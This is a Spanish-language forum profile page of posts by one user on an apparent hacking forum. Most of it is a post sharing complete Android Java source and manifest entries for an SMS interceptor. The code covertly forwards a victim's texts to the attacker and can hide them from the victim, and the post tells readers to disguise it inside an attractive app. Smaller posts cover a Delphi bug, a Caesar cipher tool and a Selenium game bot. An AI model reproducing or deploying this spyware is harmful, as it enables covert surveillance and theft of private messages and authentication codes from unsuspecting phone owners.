Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - TickTack

#141
Buenas días,

tengo un pequeño problema con mi aplicación esta mañana.

El error es, como se describió anteriormente, que mi formulario Delphi, cuando quiero moverlo con el puntero del mouse, que luego ya no lo detiene después de completar presionar el botón derecho del mouse con el proceso de destino. Solo se detiene cuando lo presiono nuevamente.


Gracias y saludos
#142
¡¡Engel Lex!!
Te extrañe!!!!!
Creí que no volverías más en este foro.
#143
Java / Interceptador de SMS
19 Agosto 2019, 11:28 AM
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis.

Lo que esto hace:

  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:

  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
SmsReceiver.java

//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

   // CONFIGURATION //

   // Esto cancelará la transmisión del SMS recibido.
   // Si esto es true, la víctima NO recibirá el mensaje que se le envía.    
   boolean abortarTM = true;

   // Si se debe interceptar o no TODOS los mensajes.    
   boolean interceptarTodos = false;

   // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
   String[] numeros = {"5551234567","5551234655"};

   // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
   String redireccionarCelular = "1235558765";

   // En emisión recibida. Mensaje SMS entrante.
   public void onReceive(Context context, Intent intento) {

 Bundle extras = intento.getExtras();
 String mensajes = "";

 // Se utiliza para determinar si un mensaje debe ser redirigido o no.
 boolean esDeEspia = false;

 if ( extras != null ) {
   Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
   for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

       // Recibe el mensaje de las UDP
   SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

   // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
   if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
 // Si el mensaje se disecciona en múltiples, concatenar.
   mensajes+=sms.getMessageBody()+"\n";

   // Este mensaje es de la víctima, redirigir.
   esDeEspia=true;

   //Abortar SMS.
   if(!abortarTM){
       abortBroadcast();
   }

   }
   }

   // Redirigir mensaje si es de la víctima
   if(esDeEspia){
       enviarSms(mensajes,"TUNUMERO");
   }

 }
   }

   // Enviar SMS ... bastante sencillo
   public  void enviarSms(String mensaje, String numcelular){
 SmsManager gs = SmsManager.getDefault();
 try{
 gs.sendTextMessage(numcelular, null, mensaje, null, null);
 }catch(Exception ex){
     // Error, este mensaje se perderá ... Les sugiero que creen
     // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
 }
   }
}


Declaraciones para agregar a sus AndroidManifest.xml
Permisos:

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />


Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
<receiver android:name=".SmsReceiver" android:enabled="true">
   <intent-filter android:priority="1000">
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
   </intent-filter>
   </receiver>

Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander

Saludos


PD.: Posteen códigos
#144
Posteen mas códigos.

Compartan.
#145
Java / Tomar una foto desde una webcam
2 Agosto 2019, 20:09 PM
Hola a todos,

vi interesante este post: https://foro.elhacker.net/java/tomar_una_foto_desde_una_webcam-t285457.0.html

Lo quería comentar, pero esta cerrado. Así que me gustaría hacerlo aquí:

Es un buen post.
Pero creo que la mayoría de la gente no elige Java cuando se trata de código malicioso.
Java necesita JVM / JRE para ejecutar .jar y, por supuesto, hay una solución para esto, como crear un ejecutable nativo a partir del código que se puede ver en ese post.

Saludos
#146
Java / Java - Caesar cifra ESTABLE – v0.70
2 Agosto 2019, 19:45 PM
Caesar Cipher STABLE - v1.00 - By Iyyel

Hola chicos y chicas!
Hoy decidí hacer una pequeña muestra de un software de cifrado para ustedes. El programa se encuentra en estado beta como lo sugiere su nombre, porque todavía hay algunos errores. Así que vamos a empezar con el espectáculo.

Tabla de contenido

1. Por defecto
2. FAQ
3. Exportar
4. Limpiar
5. Llave
6. Decriptar
7. cifrar
8. Bugs conocidos


1. Por defecto

Esto es lo que verán después de haber ejecutado la aplicación. Verán dos áreas de texto, en donde el usuario puede escribir ya sea texto descifrado o cifrado, así como botones de control y el valor de la llave a la derecha de las áreas de texto.

2. FAQ

La pestaña de FAQ está llena de toda información que posiblemente deseen saber sobre el software y sobre cómo operarlo. Además, tiene información relevante sobre el desarrollador si fuera necesario algún contacto.

3. Exportar

El botón de exportación se usa para cuando el usuario desea generar lo que está escrito en las pestañas de cifrado y descifrado, así como el valor de la llave más información adicional. Hará un archivo .txt llamado CaesarcifraTexto en una carpeta llamada Caesercifra en el directorio C:\.

4. Limpiar

El botón Limpiar le hace honor a su nombre. Simplemente borra tanto las áreas de descifrado como las de cifrado, por lo que están listas para ser utilizadas para un nuevo uso.

5. Llave

Aquí es donde insertas el valor shift que deseas que utilice el cifrado césar para cifrar el texto descifrado. Un ejemplo de una instancia con el valor shift 1 se muestra en la imagen de arriba. El valor shift puede ser negativo o positivo.

6. Decriptar

Cuando se hace clic en el botón decriptar, el programa toma el texto del área de texto 'cifrado' y lo ejecuta a través de un algoritmo de descifrado con el valor shift como entrada, y luego emite el texto descifrado dentro del área 'Decriptado'.

7. cifrar

El botón de cifrado se usa cuando el usuario desea cifrar el texto dentro del área 'Decriptar' basado en el valor shift insertado.

8. Bugs conocidos
Actualmente solo hay un bug conocido en el software. No hay posibilidad de scroll en las dos áreas de texto, lo que podría ser bastante frustrante si se trabaja con textos más grandes. Si encuentras algún error, por favor repórtalo en el hilo o envíalo por MP. Gracias.

Caesar cifra BETA - v0.70:
https://drive.google.com/open?id=1XC3KcVvTchhkAsXTJTCNq1niKpMuk_hA

VirusTotal:
https://www.virustotal.com/gui/file/bb4b05ad3afd310df8e378b71d6ab498cec661ffccf444cff9ecc952ed88f6a9/detection

Código fuente - v0.70:
https://drive.google.com/open?id=19_LaVbK8etOSnu4tsoGvV9sJG8VJXzm_

Autor: Iyyel

Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
#147
Hagan uno inoficial.

No importa si se quedará inactivo. Así siempre alguien podrá unirse....
#148
Y por qué esta vez se hace uno oficial?
#149
Hola a todos,

¿que tal si los administradores hacen un grupo de WhatsApp?


Gracias y saludos
#150
Hola a todos,


import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.htmlunit.HtmlUnitDriver;

public class Main {

    private static final String _URL = "http://ddosthegame.com/index.php", _NOMBREUSUARIO = "/*nombreusuario*/", _CONTRASENA = "/*contrasena*/";

    static WebDriver driver;
    static WebElement element;

    public static final void imprimir(final String s)
    {
        System.out.println(s);
    }

    public static void main(String[] args)
    {
        imprimir("Conectando...");
        conectar(_URL);
    }

    public static void conectar(String url)
    {
        driver = new HtmlUnitDriver();
        driver.get(url);

        String usuarioEl = "nombreusuario", passEl = "contrasena";

        imprimir("Estableciendo datos de nombreusuario... (" + _NOMBREUSUARIO + ")");

        element = driver.findElement(By.name(usuarioEl));
        element.sendKeys(_NOMBREUSUARIO);

        imprimir("Estableciendo datos de la contraseña... (" + _CONTRASENA + ")");

        element = driver.findElement(By.name(passEl));
        element.sendKeys(_CONTRASENA);

        imprimir("Iniciando seción ");

        driver.findElement(By.name("login_today")).click();

        if (driver.getTitle().contains("- index"))
        {
            imprimir("Ha iniciado sesión correctamente!");
        }

        driver.get("http://ddosthegame.com/index.php?page=resolve");

        imprimir(driver.getTitle());

        driver.close();
    }

    public static void resolverBot(String nombreusuario, int cantidad)
    {
        imprimir("Resolviendo " + nombreusuario + " " + amount + "veces");
        for (int i = 0; i < 100; i++)
        {
            element = driver.findElement(By.name("userid"));   
            element.sendKeys(nombreusuario);
            driver.findElement(By.name("resolve_user")).click();
        }
    }


Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html